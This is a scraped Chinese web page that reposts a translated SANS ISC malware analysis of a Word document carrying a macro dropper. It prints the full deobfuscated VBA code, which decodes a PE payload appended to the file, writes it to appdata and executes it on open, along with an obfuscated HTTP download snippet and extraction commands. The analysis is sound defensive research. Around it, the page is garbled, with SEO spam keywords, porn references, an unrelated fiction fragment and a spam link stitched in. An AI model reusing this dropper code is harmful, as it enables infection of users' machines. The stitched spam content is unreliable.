单于夜遁逃的读音:【分析报告:嵌入恶意payload的Word文档 】—-远距离防身器材,兼职在哪里找比较靠谱,万众118,有什么生意好做

网络干货 litianseo 6个月前 (06-21) 53次浏览 已收录 0个评论

正文:

  分析报告:嵌入恶意 payload 的 Word 文档  
一周前,SANS ISC 管理和自由安全顾问 Xavier Mertens 先生分析了一篇恶意 word 文档,下面是他对此给出的分析报告。
事件背景介绍
上星期,我忙于研究某个安全事件里出现的一份有趣的恶意 word 文档。在当今社会中,存在着恶意宏的 OLE 文档并不新鲜,我每天都会在电子邮箱里收到不少这样的玩意儿。在他们发现更好的办法攻陷终端用户的电脑之前,这样的攻击都会一直持续下去。通常恶意宏需要用社工手段欺骗用户来执行,然后通过对象 MSXML2.ServerXMLHTTP 下载一个新的 payload。
下面是一个构造混淆对象发起 GET 请求的例子:
BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P"
Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ)
Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw
其实这个事件的好坏,决定于你的所在的立场。这样的样本文件,其实有助于我们研究人员收集 IOC 的 IP 地址、URL、域名、以及文件名。当然,解密混淆的恶意宏和收集 IOC 是非常容易的。
在我研究的那个恶意事件中,word 文档里的恶意宏并没有产生任何网络流量,payload 从开始就被放置在 word 文档的结尾。该文档是在 2015 年 9 月生成的,在三天前 VT 得分只有 2/43,我是第一个提交它的人。而该 word 文档的内容格式非常严整,其中含有能勾引受害人上当的内容。这里不得不提下,我使用了 Didier Stevens 的工具箱分析了这个恶意文档。
恶意文件分析报告
该文档由用户 Helmut 在 2015 年 9 月 3 日创建,里面包含了两个宏:
$ oledump.py malicious.doc
  1:       121 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:     23860 '1Table'
  5:    781575 'Data'
  6:       486 'Macros/PROJECT'
  7:        71 'Macros/PROJECTwm'
  8: m     940 'Macros/VBA/ThisDocument'
  9:      3256 'Macros/VBA/_VBA_PROJECT'
 10:       569 'Macros/VBA/dir'
 11: M    6052 'Macros/VBA/islamabad'
 12:    257675 'WordDocument'
其中一个有趣的宏在上面的第 11 行代码,也就是名为 islamabad(伊斯兰堡,巴基斯坦的首都)的地方。这是一个经典的混淆过的宏,可以通过下面这条命令提取:
$ oledump.py -s 11 -v malicious.doc
注意:我在宏代码里做了些修改,并对混淆过的代码进行解密,以便读者更好得阅读。
这个恶意 payload(PE 文件),与附加的数据(payload 大小和校验和)一起放置在 word 文档末尾,我们一起来看看代码:
Attribute VB_Name = "islamabad"
Public var_Filename1 As String
Public var_Path1 As String
第一个函数提取了附加数据流的校验和:
Function func_Checksum(var_Data() As Byte, var_Len As Long) As Byte
    For I = 0 To var_Len – 1
        func_Checksum = func_Checksum Xor var_Data(I)
    Next I
End Function
下面的函数,会把二进制数据流进行 XOR,然后在下一个函数中将其解密:
Function func_DecodeBinary(var_Data() As Byte, var_Len As Long) As Boolean
    Dim var_IV1 As Byte
    var_IV1 = 11
    For I = 0 To var_Len – 1
        var_Data(I) = var_Data(I) Xor var_IV1
        var_IV1 = ((var_IV1 Xor 13) Xor (I Mod 256))
    Next I
    func_DecodeBinary = True
End Function
这个 VBA 函数改变了文档的布局,但我不太明白是啥原因:
Function func_FormatDocument() As Boolean
    ActiveDocument.GrammarChecked = False
    ActiveDocument.SpellingChecked = False
    ActiveDocument.Select
    Selection.Font.ColorIndex = wdBlack
    Selection.Font.Underline = wdUnderlineNone
    Selection.HomeKey
    For Each sec In ActiveDocument.Sections
        For Each head In sec.Headers
            head.Range.Delete
        Next
    Next
    ViewDocument = True
End Function
 
Sub AutoClose()
ActiveDocument.Save
End Sub
在文档打开时,主要的宏会自动执行:
Sub AutoOpen()
    On Error GoTo ErrorCondition1
    Dim var_Dummy1 As Boolean
    var_Dummy1 = func_FormatDocument()
    Dim fh_File1
    Dim var_Filesize As Long
    Dim var_BinarySize As Long
Dim var_Checksum As Byte
我们来获取文件大小,打开它并提取校验和(EOF -4),以及二进制数据流大小(EOF -3):
    var_Filesize = FileLen(ActiveDocument.FullName)
    fh_File1 = FreeFile
    Open (ActiveDocument.FullName) For Binary As #fh_File1
    Get #fh_File1, (var_Filesize – 4), var_Checksum
    Get #fh_File1, (var_Filesize – 3), var_BinarySize
 
    If var_BinarySize < 8 Then
        GoTo ErrorCondition1
    End If
 
    If (var_BinarySize + 4) > var_Filesize Then
        GoTo ErrorCondition1
End If
下面的脚本计算了数据流的起始位置,并预估出一个合适大小的字节数组:
    Dim var_Offset As Long
    var_Offset = var_Filesize – (var_BinarySize + 4)
    Dim var_BinaryData1() As Byte
ReDim var_BinaryData1(var_BinarySize – 1)
接着,提取出了二进制的恶意文件,然后解密:
    Get #fh_File1, var_Offset, var_BinaryData1
    Close #fh_File1
    If Not func_DecodeBinary(var_BinaryData1(), var_BinarySize) Then
        GoTo ErrorCondition1
End If
对比校验和:
    Dim var_Dummy2 As Byte
    var_Dummy2 = func_Checksum(var_BinaryData1(), var_BinarySize)
    If var_Checksum <> var_Dummy2 Then
        GoTo ErrorCondition1
End If
释放出的 payload,其默认路径被混淆了(真实值为 appdata\Microsoft\Word):
var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100)
Scripting.FileSystemObject 对象也被混淆了:
Set var_Object1 = CreateObject("Scripting" & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
当然,为了防止默认路径不存在(非本例),脚本会使用另一个备用的路径(appdata)。
    If Not var_Object1.FolderExists(var_Path1) Then
        var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97))
    End If
 
    Set var_Object1 = Nothing
    Dim fh_File2
fh_File2 = FreeFile
释放出的 payload 文件名也被混淆了(真实名为:wfletxavb.exe):
注意:我不知道这里的文件名,为啥不是常见的动态随机生成的。那样其实可以避免文件系统对于恶意二进制流的检测。
    var_Filename1 = var_Path1 & "\" & Chr(119) & Chr(102) & Chr(108) & Chr(101) & Chr(116) & Chr(120) & Chr(97) & Chr(118) & Chr(98) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
    Open (var_Filename1) For Binary As #fh_File2
    Put #fh_File2, 1, var_BinaryData1
    Close #fh_File2
Erase var_BinaryData1
现在我们要执行啦:
    Set var_Object2 = CreateObject("WScript.Shell")
    var_Object2.Exec var_Filename1
    Exit Sub
 
ErrorCondition1:
    Close #fh_File1
    Close #fh_File2
    ActiveDocument.Save
End Sub
通过逆向宏,我们可以猜测二进制流的起始位置,然后通过 Didier 的 cut-bytes.py 脚本工具进行提取。我们需要跳过文档的末尾字节,包括 payload 大小和校验和。
注意:Didier 在他的工具里加了一个新的特性,这可以帮助我们提取数据:那就是可以指定忽略文件末尾的字节(详见下面的“-5”处的指令代码):
$ cut-bytes.py "<position>:-5" malicious.doc >binary.data
$ file binary.data
binary.data: data
宏里的解码函数,我们可以借用它来为 translate.py 脚本工具写一个专用解码器:
def FileDecode(input):
    output = ''
    code = 11
    for iIter in range(len(input)):
        output += chr(ord(input[iIter]) ^ code)
        code = (code ^ 13) ^ (iIter % 256)
return output
最后,我们可以解码二进制流,获得一个 PE 文件:
$ cat binary.data | translate.py -f -s decoder_caseXXXX.py -o binary.exe FileDecode
$ file binary.exe
binary.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
我并没有把这个 PE 样本文件报送到 VirusTotal,但它很明显是一个恶意文件。
该文件由 OLE 文档、PE 文件、校验和、PE 文件长度构成,黑客借助它能快速生成一个新的加密 PE 文件,然后加进相同的 word 文档里。我很抱歉在这里不能分享样本,因为这次的分析研究还没有结束。
事件后记
上文中提到的 Didier Steven 先生,对本文做了一个后续补充。他表示在上文的分析中,Xavier 提到了一个未知的 VBA 函数,他称之为 func_FormatDocument。这个函数会改变文档的布局,在这里 Didier 分析了该函数的功能。
这个函数其实是社工技巧的一部分,在正常情况下,Microsoft Office 宏在 email 附件里是默认禁用了的。如果黑客欺骗不了用户启用宏,本次攻击就会失败。
所以呢,黑客会用一个老掉牙的小手段,欺骗用户启用宏。其实就是设法让用户相信,文档里包含机密或者秘密的信息,然后用户自己需要启用宏才能查看。该 word 文档可能会包含隐藏、编码、加密的内容,用户需要去做点什么来揭开它神秘的面纱。这段 VBA 函数 func_FormatDocument,就是这样一个复杂社工技巧的一部分。这个函数在用户选择启用宏后,会将字体颜色从白色到黑色,从而“解密”隐藏的内容,并去除让用户查看“真实内容”的指令提示。黑客就用这种弱智的手法欺骗用户,通过偷梁换柱的法子,启用了 VBA 宏并执行了恶意 payload。
下面是视频,我相信大家看了视频,会比在这儿看我喷半天口水效果要好得多:
    
*参考来源:ISC、ISC2、NS,FB 小编 dawner 编译,转载请注明来自 FreeBuf 黑客与极客(FreeBuf.COM)单于夜遁逃的读音,远距离防身器材

———————————-

相关阅读:
兼职在哪里找比较靠谱,万众 118,仓木みお番号作品封面 仓木美绪步兵番号 ed2k 持续更新

  陈氏曰:唐任藩撰,或作“翻客居天台,有宿蛤帻山”绝句,为人所称。今城中巾子山也。
“啪!”
 
“道夫斯大主教亲传 http://zhendongpan.haoshunjx.com 弟子?圣女?”鲍尔彻眼一睁,接而却是了然笑道:“明白了,我一定帮韦尔斯殿下转告陛下!”
  【鹤山渠阳杂抄】有什么生意好做


喜欢 (0)
[576801182@qq.com]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址